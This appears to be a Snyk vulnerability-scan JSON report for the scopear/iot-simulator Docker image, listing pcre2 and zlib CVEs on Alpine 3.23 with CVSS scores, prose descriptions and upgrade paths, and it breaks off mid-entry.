{ "vulnerabilities": [ { "id": "SNYK-ALPINE323-PCRE2-20364506", "cpes": [], "title": "Integer Overflow or Wraparound", "CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:H", "credit": [ "" ], "semver": { "vulnerable": [ "<10.48-r0" ] }, "exploit": "Not Defined", "fixedIn": [ "10.48-r0" ], "patches": [], "insights": { "triageAdvice": null }, "language": "linux", "severity": "high", "cvssScore": 7.4, "malicious": false, "isDisputed": false, "references": [ { "url": "https://github.com/PCRE2Project/pcre2/releases/tag/pcre2-10.48", "title": "https://github.com/PCRE2Project/pcre2/releases/tag/pcre2-10.48" }, { "url": "https://github.com/PCRE2Project/pcre2/security/advisories/GHSA-q8g2-wprr-34m9", "title": "https://github.com/PCRE2Project/pcre2/security/advisories/GHSA-q8g2-wprr-34m9" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:H", "cvssV3BaseScore": 7.4, "modificationTime": "2026-09-17T01:30:43.018395Z" }, { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:L", "cvssV3BaseScore": 5.7, "modificationTime": "2026-09-12T06:07:46.857038Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "cvssV3BaseScore": 8.1, "modificationTime": "2026-09-18T11:06:09.698583Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.4, "cvssVersion": "3.1", "modificationTime": "2026-09-17T01:30:43.018395Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:L", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.7, "cvssVersion": "3.1", "modificationTime": "2026-09-12T06:07:46.857038Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 8.1, "cvssVersion": "3.1", "modificationTime": "2026-09-18T11:06:09.698583Z" } ], "description": "## NVD Description\n**_Note:_** _Versions mentioned in the description apply only to the upstream `pcre2` package and not the `pcre2` package as distributed by `Alpine`._\n_See `How to fix?` for `Alpine:3.23` relevant fixed versions and status._\n\nPCRE2 before 10.48, on 32-bit platforms, has a pcre2_pattern_convert out-of-bounds write when an attacker can provide a large pattern.\n## Remediation\nUpgrade `Alpine:3.23` `pcre2` to version 10.48-r0 or higher.\n## References\n- [https://github.com/PCRE2Project/pcre2/releases/tag/pcre2-10.48](https://github.com/PCRE2Project/pcre2/releases/tag/pcre2-10.48)\n- [https://github.com/PCRE2Project/pcre2/security/advisories/GHSA-q8g2-wprr-34m9](https://github.com/PCRE2Project/pcre2/security/advisories/GHSA-q8g2-wprr-34m9)\n", "epssDetails": { "percentile": "0.18076", "probability": "0.00278", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-89157" ], "CWE": [ "CWE-190" ], "ALTERNATIVE": [] }, "nvdSeverity": "high", "packageName": "pcre2", "creationTime": "2026-10-01T14:42:28.419641Z", "disclosureTime": "2026-09-11T04:18:03.753000Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "alpine:3.23", "publicationTime": "2026-10-01T14:42:28.427078Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-01T14:42:28.561296Z", "socialTrendAlert": false, "relativeImportance": null, "severityWithCritical": "high", "from": [ "docker-image|docker.io/scopear/iot-simulator@1.0.12_a18cd9a.162", "pcre2/pcre2@10.47-r0" ], "upgradePath": [ false, "pcre2/pcre2@10.48-r0" ], "isUpgradable": true, "isPatchable": false, "name": "pcre2/pcre2", "version": "10.47-r0", "nearestFixedInVersion": "10.48-r0" }, { "id": "SNYK-ALPINE323-PCRE2-20364508", "cpes": [], "title": "Free of Memory not on the Heap", "CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "credit": [ "" ], "semver": { "vulnerable": [ "<10.48-r0" ] }, "exploit": "Not Defined", "fixedIn": [ "10.48-r0" ], "patches": [], "insights": { "triageAdvice": null }, "language": "linux", "severity": "high", "cvssScore": 7.8, "malicious": false, "isDisputed": false, "references": [ { "url": "https://github.com/PCRE2Project/pcre2/pull/937", "title": "https://github.com/PCRE2Project/pcre2/pull/937" }, { "url": "https://github.com/PCRE2Project/pcre2/releases/tag/pcre2-10.48", "title": "https://github.com/PCRE2Project/pcre2/releases/tag/pcre2-10.48" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "cvssV3BaseScore": 7.8, "modificationTime": "2026-09-17T01:30:42.876297Z" }, { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "cvssV3BaseScore": 7.4, "modificationTime": "2026-09-12T06:07:51.962108Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-18T11:06:26.133426Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.8, "cvssVersion": "3.1", "modificationTime": "2026-09-17T01:30:42.876297Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.4, "cvssVersion": "3.1", "modificationTime": "2026-09-12T06:07:51.962108Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-18T11:06:26.133426Z" } ], "description": "## NVD Description\n**_Note:_** _Versions mentioned in the description apply only to the upstream `pcre2` package and not the `pcre2` package as distributed by `Alpine`._\n_See `How to fix?` for `Alpine:3.23` relevant fixed versions and status._\n\nIn PCRE2 before 10.48, pcre2_jit_match mishandles a previously copied subject being passed in as a context. An incorrect free operation can occur.\n## Remediation\nUpgrade `Alpine:3.23` `pcre2` to version 10.48-r0 or higher.\n## References\n- [https://github.com/PCRE2Project/pcre2/pull/937](https://github.com/PCRE2Project/pcre2/pull/937)\n- [https://github.com/PCRE2Project/pcre2/releases/tag/pcre2-10.48](https://github.com/PCRE2Project/pcre2/releases/tag/pcre2-10.48)\n", "epssDetails": { "percentile": "0.01943", "probability": "0.00126", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-89161" ], "CWE": [ "CWE-590" ], "ALTERNATIVE": [] }, "nvdSeverity": "high", "packageName": "pcre2", "creationTime": "2026-10-01T14:42:44.148855Z", "disclosureTime": "2026-09-11T04:18:04.470000Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "alpine:3.23", "publicationTime": "2026-10-01T14:42:44.152084Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-01T14:42:44.491521Z", "socialTrendAlert": false, "relativeImportance": null, "severityWithCritical": "high", "from": [ "docker-image|docker.io/scopear/iot-simulator@1.0.12_a18cd9a.162", "pcre2/pcre2@10.47-r0" ], "upgradePath": [ false, "pcre2/pcre2@10.48-r0" ], "isUpgradable": true, "isPatchable": false, "name": "pcre2/pcre2", "version": "10.47-r0", "nearestFixedInVersion": "10.48-r0" }, { "id": "SNYK-ALPINE323-PCRE2-20364506", "cpes": [], "title": "Integer Overflow or Wraparound", "CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:H", "credit": [ "" ], "semver": { "vulnerable": [ "<10.48-r0" ] }, "exploit": "Not Defined", "fixedIn": [ "10.48-r0" ], "patches": [], "insights": { "triageAdvice": null }, "language": "linux", "severity": "high", "cvssScore": 7.4, "malicious": false, "isDisputed": false, "references": [ { "url": "https://github.com/PCRE2Project/pcre2/releases/tag/pcre2-10.48", "title": "https://github.com/PCRE2Project/pcre2/releases/tag/pcre2-10.48" }, { "url": "https://github.com/PCRE2Project/pcre2/security/advisories/GHSA-q8g2-wprr-34m9", "title": "https://github.com/PCRE2Project/pcre2/security/advisories/GHSA-q8g2-wprr-34m9" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:H", "cvssV3BaseScore": 7.4, "modificationTime": "2026-09-17T01:30:43.018395Z" }, { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:L", "cvssV3BaseScore": 5.7, "modificationTime": "2026-09-12T06:07:46.857038Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "cvssV3BaseScore": 8.1, "modificationTime": "2026-09-18T11:06:09.698583Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.4, "cvssVersion": "3.1", "modificationTime": "2026-09-17T01:30:43.018395Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:L", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.7, "cvssVersion": "3.1", "modificationTime": "2026-09-12T06:07:46.857038Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 8.1, "cvssVersion": "3.1", "modificationTime": "2026-09-18T11:06:09.698583Z" } ], "description": "## NVD Description\n**_Note:_** _Versions mentioned in the description apply only to the upstream `pcre2` package and not the `pcre2` package as distributed by `Alpine`._\n_See `How to fix?` for `Alpine:3.23` relevant fixed versions and status._\n\nPCRE2 before 10.48, on 32-bit platforms, has a pcre2_pattern_convert out-of-bounds write when an attacker can provide a large pattern.\n## Remediation\nUpgrade `Alpine:3.23` `pcre2` to version 10.48-r0 or higher.\n## References\n- [https://github.com/PCRE2Project/pcre2/releases/tag/pcre2-10.48](https://github.com/PCRE2Project/pcre2/releases/tag/pcre2-10.48)\n- [https://github.com/PCRE2Project/pcre2/security/advisories/GHSA-q8g2-wprr-34m9](https://github.com/PCRE2Project/pcre2/security/advisories/GHSA-q8g2-wprr-34m9)\n", "epssDetails": { "percentile": "0.18076", "probability": "0.00278", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-89157" ], "CWE": [ "CWE-190" ], "ALTERNATIVE": [] }, "nvdSeverity": "high", "packageName": "pcre2", "creationTime": "2026-10-01T14:42:28.419641Z", "disclosureTime": "2026-09-11T04:18:03.753000Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "alpine:3.23", "publicationTime": "2026-10-01T14:42:28.427078Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-01T14:42:28.561296Z", "socialTrendAlert": false, "relativeImportance": null, "severityWithCritical": "high", "from": [ "docker-image|docker.io/scopear/iot-simulator@1.0.12_a18cd9a.162", "nginx/nginx@1.31.2-r1", "pcre2/pcre2@10.47-r0" ], "upgradePath": [], "isUpgradable": false, "isPatchable": false, "name": "pcre2/pcre2", "version": "10.47-r0", "nearestFixedInVersion": "10.48-r0" }, { "id": "SNYK-ALPINE323-PCRE2-20364508", "cpes": [], "title": "Free of Memory not on the Heap", "CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "credit": [ "" ], "semver": { "vulnerable": [ "<10.48-r0" ] }, "exploit": "Not Defined", "fixedIn": [ "10.48-r0" ], "patches": [], "insights": { "triageAdvice": null }, "language": "linux", "severity": "high", "cvssScore": 7.8, "malicious": false, "isDisputed": false, "references": [ { "url": "https://github.com/PCRE2Project/pcre2/pull/937", "title": "https://github.com/PCRE2Project/pcre2/pull/937" }, { "url": "https://github.com/PCRE2Project/pcre2/releases/tag/pcre2-10.48", "title": "https://github.com/PCRE2Project/pcre2/releases/tag/pcre2-10.48" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "cvssV3BaseScore": 7.8, "modificationTime": "2026-09-17T01:30:42.876297Z" }, { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "cvssV3BaseScore": 7.4, "modificationTime": "2026-09-12T06:07:51.962108Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-18T11:06:26.133426Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.8, "cvssVersion": "3.1", "modificationTime": "2026-09-17T01:30:42.876297Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.4, "cvssVersion": "3.1", "modificationTime": "2026-09-12T06:07:51.962108Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-18T11:06:26.133426Z" } ], "description": "## NVD Description\n**_Note:_** _Versions mentioned in the description apply only to the upstream `pcre2` package and not the `pcre2` package as distributed by `Alpine`._\n_See `How to fix?` for `Alpine:3.23` relevant fixed versions and status._\n\nIn PCRE2 before 10.48, pcre2_jit_match mishandles a previously copied subject being passed in as a context. An incorrect free operation can occur.\n## Remediation\nUpgrade `Alpine:3.23` `pcre2` to version 10.48-r0 or higher.\n## References\n- [https://github.com/PCRE2Project/pcre2/pull/937](https://github.com/PCRE2Project/pcre2/pull/937)\n- [https://github.com/PCRE2Project/pcre2/releases/tag/pcre2-10.48](https://github.com/PCRE2Project/pcre2/releases/tag/pcre2-10.48)\n", "epssDetails": { "percentile": "0.01943", "probability": "0.00126", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-89161" ], "CWE": [ "CWE-590" ], "ALTERNATIVE": [] }, "nvdSeverity": "high", "packageName": "pcre2", "creationTime": "2026-10-01T14:42:44.148855Z", "disclosureTime": "2026-09-11T04:18:04.470000Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "alpine:3.23", "publicationTime": "2026-10-01T14:42:44.152084Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-01T14:42:44.491521Z", "socialTrendAlert": false, "relativeImportance": null, "severityWithCritical": "high", "from": [ "docker-image|docker.io/scopear/iot-simulator@1.0.12_a18cd9a.162", "nginx/nginx@1.31.2-r1", "pcre2/pcre2@10.47-r0" ], "upgradePath": [], "isUpgradable": false, "isPatchable": false, "name": "pcre2/pcre2", "version": "10.47-r0", "nearestFixedInVersion": "10.48-r0" }, { "id": "SNYK-ALPINE323-ZLIB-20541565", "cpes": [], "title": "Out-of-bounds Write", "CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:H", "credit": [ "" ], "semver": { "vulnerable": [ "<1.3.2-r1" ] }, "exploit": "Not Defined", "fixedIn": [ "1.3.2-r1" ], "patches": [], "insights": { "triageAdvice": null }, "language": "linux", "severity": "high", "cvssScore": 7.4, "malicious": false, "isDisputed": false, "references": [ { "url": "https://gist.github.com/thesmartshadow/e0b9481792afb7c31e86fee1ff084490", "title": "https://gist.github.com/thesmartshadow/e0b9481792afb7c31e86fee1ff084490" }, { "url": "https://github.com/madler/zlib", "title": "https://github.com/madler/zlib" }, { "url": "https://github.com/madler/zlib/blob/v1.3.2/gzwrite.c%23L393", "title": "https://github.com/madler/zlib/blob/v1.3.2/gzwrite.c%23L393" }, { "url": "https://www.vulncheck.com/advisories/zlib-1.3.1.2-through-1.3.2-heap-buffer-overflow-via-gz-vacate", "title": "https://www.vulncheck.com/advisories/zlib-1.3.1.2-through-1.3.2-heap-buffer-overflow-via-gz-vacate" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:H", "cvssV3BaseScore": 7.4, "modificationTime": "2026-09-04T01:29:18.339972Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.4, "cvssVersion": "3.1", "modificationTime": "2026-09-04T01:29:18.339972Z" } ], "description": "## NVD Description\n**_Note:_** _Versions mentioned in the description apply only to the upstream `zlib` package and not the `zlib` package as distributed by `Alpine`._\n_See `How to fix?` for `Alpine:3.23` relevant fixed versions and status._\n\nzlib versions 1.3.1.2 through 1.3.2 contain a heap buffer overflow vulnerability in the gz_vacate() function when processing non-blocking gzwrite() operations with stale external buffer pointers. Attackers can trigger the overflow by calling gzprintf() or gzvprintf() after a write stall, causing an unchecked memmove() to write beyond the internal input buffer boundary.\n## Remediation\nUpgrade `Alpine:3.23` `zlib` to version 1.3.2-r1 or higher.\n## References\n- [https://gist.github.com/thesmartshadow/e0b9481792afb7c31e86fee1ff084490](https://gist.github.com/thesmartshadow/e0b9481792afb7c31e86fee1ff084490)\n- [https://github.com/madler/zlib](https://github.com/madler/zlib)\n- [https://github.com/madler/zlib/blob/v1.3.2/gzwrite.c#L393](https://github.com/madler/zlib/blob/v1.3.2/gzwrite.c#L393)\n- [https://www.vulncheck.com/advisories/zlib-1.3.1.2-through-1.3.2-heap-buffer-overflow-via-gz-vacate](https://www.vulncheck.com/advisories/zlib-1.3.1.2-through-1.3.2-heap-buffer-overflow-via-gz-vacate)\n", "epssDetails": { "percentile": "0.27225", "probability": "0.00356", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-85091" ], "CWE": [ "CWE-787" ], "ALTERNATIVE": [] }, "nvdSeverity": "high", "packageName": "zlib", "creationTime": "2026-10-07T03:03:50.501449Z", "disclosureTime": "2026-09-03T13:06:20.573000Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "alpine:3.23", "publicationTime": "2026-10-07T03:03:50.509150Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-08T15:12:02.003141Z", "socialTrendAlert": false, "relativeImportance": null, "severityWithCritical": "high", "from": [ "docker-image|docker.io/scopear/iot-simulator@1.0.12_a18cd9a.162", "zlib/zlib@1.3.2-r0" ], "upgradePath": [ false, "zlib/zlib@1.3.2-r1" ], "isUpgradable": true, "isPatchable": false, "name": "zlib/zlib", "version": "1.3.2-r0", "nearestFixedInVersion": "1.3.2-r1", "dockerfileInstruction": "apk add --no-cache nodejs npm" }, { "id": "SNYK-ALPINE323-ZLIB-20541565", "cpes": [], "title": "Out-of-bounds Write", "CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:H", "credit": [ "" ], "semver": { "vulnerable": [ "<1.3.2-r1" ] }, "exploit": "Not Defined", "fixedIn": [ "1.3.2-r1" ], "patches": [], "insights": { "triageAdvice": null }, "language": "linux", "severity": "high", "cvssScore": 7.4, "malicious": false, "isDisputed": false, "references": [ { "url": "https://gist.github.com/thesmartshadow/e0b9481792afb7c31e86fee1ff084490", "title": "https://gist.github.com/thesmartshadow/e0b9481792afb7c31e86fee1ff084490" }, { "url": "https://github.com/madler/zlib", "title": "https://github.com/madler/zlib" }, { "url": "https://github.com/madler/zlib/blob/v1.3.2/gzwrite.c%23L393", "title": "https://github.com/madler/zlib/blob/v1.3.2/gzwrite.c%23L393" }, { "url": "https://www.vulncheck.com/advisories/zlib-1.3.1.2-through-1.3.2-heap-buffer-overflow-via-gz-vacate", "title": "https://www.vulncheck.com/advisories/zlib-1.3.1.2-through-1.3.2-heap-buffer-overflow-via-gz-vacate" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:H", "cvssV3BaseScore": 7.4, "modificationTime": "2026-09-04T01:29:18.339972Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.4, "cvssVersion": "3.1", "modificationTime": "2026-09-04T01:29:18.339972Z" } ], "description": "## NVD Description\n**_Note:_** _Versions mentioned in the description apply only to the upstream `zlib` package and not the `zlib` package as distributed by `Alpine`._\n_See `How to fix?` for `Alpine:3.23` relevant fixed versions and status._\n\nzlib versions 1.3.1.2 through 1.3.2 contain a heap buffer overflow vulnerability in the gz_vacate() function when processing non-blocking gzwrite() operations with stale external buffer pointers. Attackers can trigger the overflow by calling gzprintf() or gzvprintf() after a write stall, causing an unchecked memmove() to write beyond the internal input buffer boundary.\n## Remediation\nUpgrade `Alpine:3.23` `zlib` to version 1.3.2-r1 or higher.\n## References\n- [https://gist.github.com/thesmartshadow/e0b9481792afb7c31e86fee1ff084490](https://gist.github.com/thesmartshadow/e0b9481792afb7c31e86fee1ff084490)\n- [https://github.com/madler/zlib](https://github.com/madler/zlib)\n- [https://github.com/madler/zlib/blob/v1.3.2/gzwrite.c#L393](https://github.com/madler/zlib/blob/v1.3.2/gzwrite.c#L393)\n- [https://www.vulncheck.com/advisories/zlib-1.3.1.2-through-1.3.2-heap-buffer-overflow-via-gz-vacate](https://www.vulncheck.com/advisories/zlib-1.3.1.2-through-1.3.2-heap-buffer-overflow-via-gz-vacate)\n", "epssDetails": { "percentile": "0.27225", "probability": "0.00356", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-85091" ], "CWE": [ "CWE-787" ], "ALTERNATIVE": [] }, "nvdSeverity": "high", "packageName": "zlib", "creationTime": "2026-10-07T03:03:50.501449Z", "disclosureTime": "2026-09-03T13:06:20.573000Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "alpine:3.23", "publicationTime": "2026-10-07T03:03:50.509150Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-08T15:12:02.003141Z", "socialTrendAlert": false, "relativeImportance": null, "severityWithCritical": "high", "from": [ "docker-image|docker.io/scopear/iot-simulator@1.0.12_a18cd9a.162", "apk-tools/apk-tools@3.0.7-r0", "zlib/zlib@1.3.2-r0" ], "upgradePath": [], "isUpgradable": false, "isPatchable": false, "name": "zlib/zlib", "version": "1.3.2-r0", "nearestFixedInVersion": "1.3.2-r1", "dockerfileInstruction": "apk add --no-cache nodejs npm" }, { "id": "SNYK-ALPINE323-ZLIB-20541565", "cpes": [], "title": "Out-of-bounds Write", "CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:H", "credit": [ "" ], "semver": { "vulnerable": [ "<1.3.2-r1" ] }, "exploit": "Not Defined", "fixedIn": [ "1.3.2-r1" ], "patches": [], "insights": { "triageAdvice": null }, "language": "linux", "severity": "high", "cvssScore": 7.4, "malicious": false, "isDisputed": false, "references": [ { "url": "https://gist.github.com/thesmartshadow/e0b9481792afb7c31e86fee1ff084490", "title": "https://gist.github.com/thesmartshadow/e0b9481792afb7c31e86fee1ff084490" }, { "url": "https://github.com/madler/zlib", "title": "https://github.com/madler/zlib" }, { "url": "https://github.com/madler/zlib/blob/v1.3.2/gzwrite.c%23L393", "title": "https://github.com/madler/zlib/blob/v1.3.2/gzwrite.c%23L393" }, { "url": "https://www.vulncheck.com/advisories/zlib-1.3.1.2-through-1.3.2-heap-buffer-overflow-via-gz-vacate", "title": "https://www.vulncheck.com/advisories/zlib-1.3.1.2-through-1.3.2-heap-buffer-overflow-via-gz-vacate" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:H", "cvssV3BaseScore": 7.4, "modificationTime": "2026-09-04T01:29:18.339972Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.4, "cvssVersion": "3.1", "modificationTime": "2026-09-04T01:29:18.339972Z" } ], "description": "## NVD Description\n**_Note:_** _Versions mentioned in the description apply only to the upstream `zlib` package and not the `zlib` package as distributed by `Alpine`._\n_See `How to fix?` for `Alpine:3.23` relevant fixed versions and status._\n\nzlib versions 1.3.1.2 through 1.3.2 contain a heap buffer overflow vulnerability in the gz_vacate() function when processing non-blocking gzwrite() operations with stale external buffer pointers. Attackers can trigger the overflow by calling gzprintf() or gzvprintf() after a write stall, causing an unchecked memmove() to write beyond the internal input buffer boundary.\n## Remediation\nUpgrade `Alpine:3.23` `zlib` to version 1.3.2-r1 or higher.\n## References\n- [https://gist.github.com/thesmartshadow/e0b9481792afb7c31e86fee1ff084490](https://gist.github.com/thesmartshadow/e0b9481792afb7c31e86fee1ff084490)\n- [https://github.com/madler/zlib](https://github.com/madler/zlib)\n- [https://github.com/madler/zlib/blob/v1.3.2/gzwrite.c#L393](https://github.com/madler/zlib/blob/v1.3.2/gzwrite.c#L393)\n- [https://www.vulncheck.com/advisories/zlib-1.3.1.2-through-1.3.2-heap-buffer-overflow-via-gz-vacate](https://www.vulncheck.com/advisories/zlib-1.3.1.2-through-1.3.2-heap-buffer-overflow-via-gz-vacate)\n", "epssDetails": { "percentile": "0.27225", "probability": "0.00356", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-85091" ], "CWE": [ "CWE-787" ], "ALTERNATIVE": [] }, "nvdSeverity": "high", "packageName": "zlib", "creationTime": "2026-10-07T03:03:50.501449Z", "disclosureTime": "2026-09-03T13:06:20.573000Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "alpine:3.23", "publicationTime": "2026-10-07T03:03:50.509150Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-08T15:12:02.003141Z", "socialTrendAlert": false, "relativeImportance": null, "severityWithCritical": "high", "from": [ "docker-image|docker.io/scopear/iot-simulator@1.0.12_a18cd9a.162", "nginx/nginx@1.31.2-r1", "zlib/zlib@1.3.2-r0" ], "upgradePath": [], "isUpgradable": false, "isPatchable": false, "name": "zlib/zlib", "version": "1.3.2-r0", "nearestFixedInVersion": "1.3.2-r1", "dockerfileInstruction": "apk add --no-cache nodejs npm" }, { "id": "SNYK-ALPINE323-ZLIB-20541565", "cpes": [], "title": "Out-of-bounds Write", "CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:H", "credit": [ "" ], "semver": { "vulnerable": [ "<1.3.2-r1" ] }, "exploit": "Not Defined", "fixedIn": [ "1.3.2-r1" ], "patches": [], "insights": { "triageAdvice": null }, "language": "linux", "severity": "high", "cvssScore": 7.4, "malicious": false, "isDisputed": false, "references": [ { "url": "https://gist.github.com/thesmartshadow/e0b9481792afb7c31e86fee1ff084490", "title": "https://gist.github.com/thesmartshadow/e0b9481792afb7c31e86fee1ff084490" }, { "url": "https://github.com/madler/zlib", "title": "https://github.com/madler/zlib" }, { "url": "https://github.com/madler/zlib/blob/v1.3.2/gzwrite.c%23L393", "title": "https://github.com/madler/zlib/blob/v1.3.2/gzwrite.c%23L393" }, { "url": "https://www.vulncheck.com/advisories/zlib-1.3.1.2-through-1.3.2-heap-buffer-overflow-via-gz-vacate", "title": "https://www.vulncheck.com/advisories/zlib-1.3.1.2-through-1.3.2-heap-buffer-overflow-via-gz-vacate" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:H", "cvssV3BaseScore": 7.4, "modificationTime": "2026-09-04T01:29:18.339972Z" } ], "cvssSources": [ { "type": 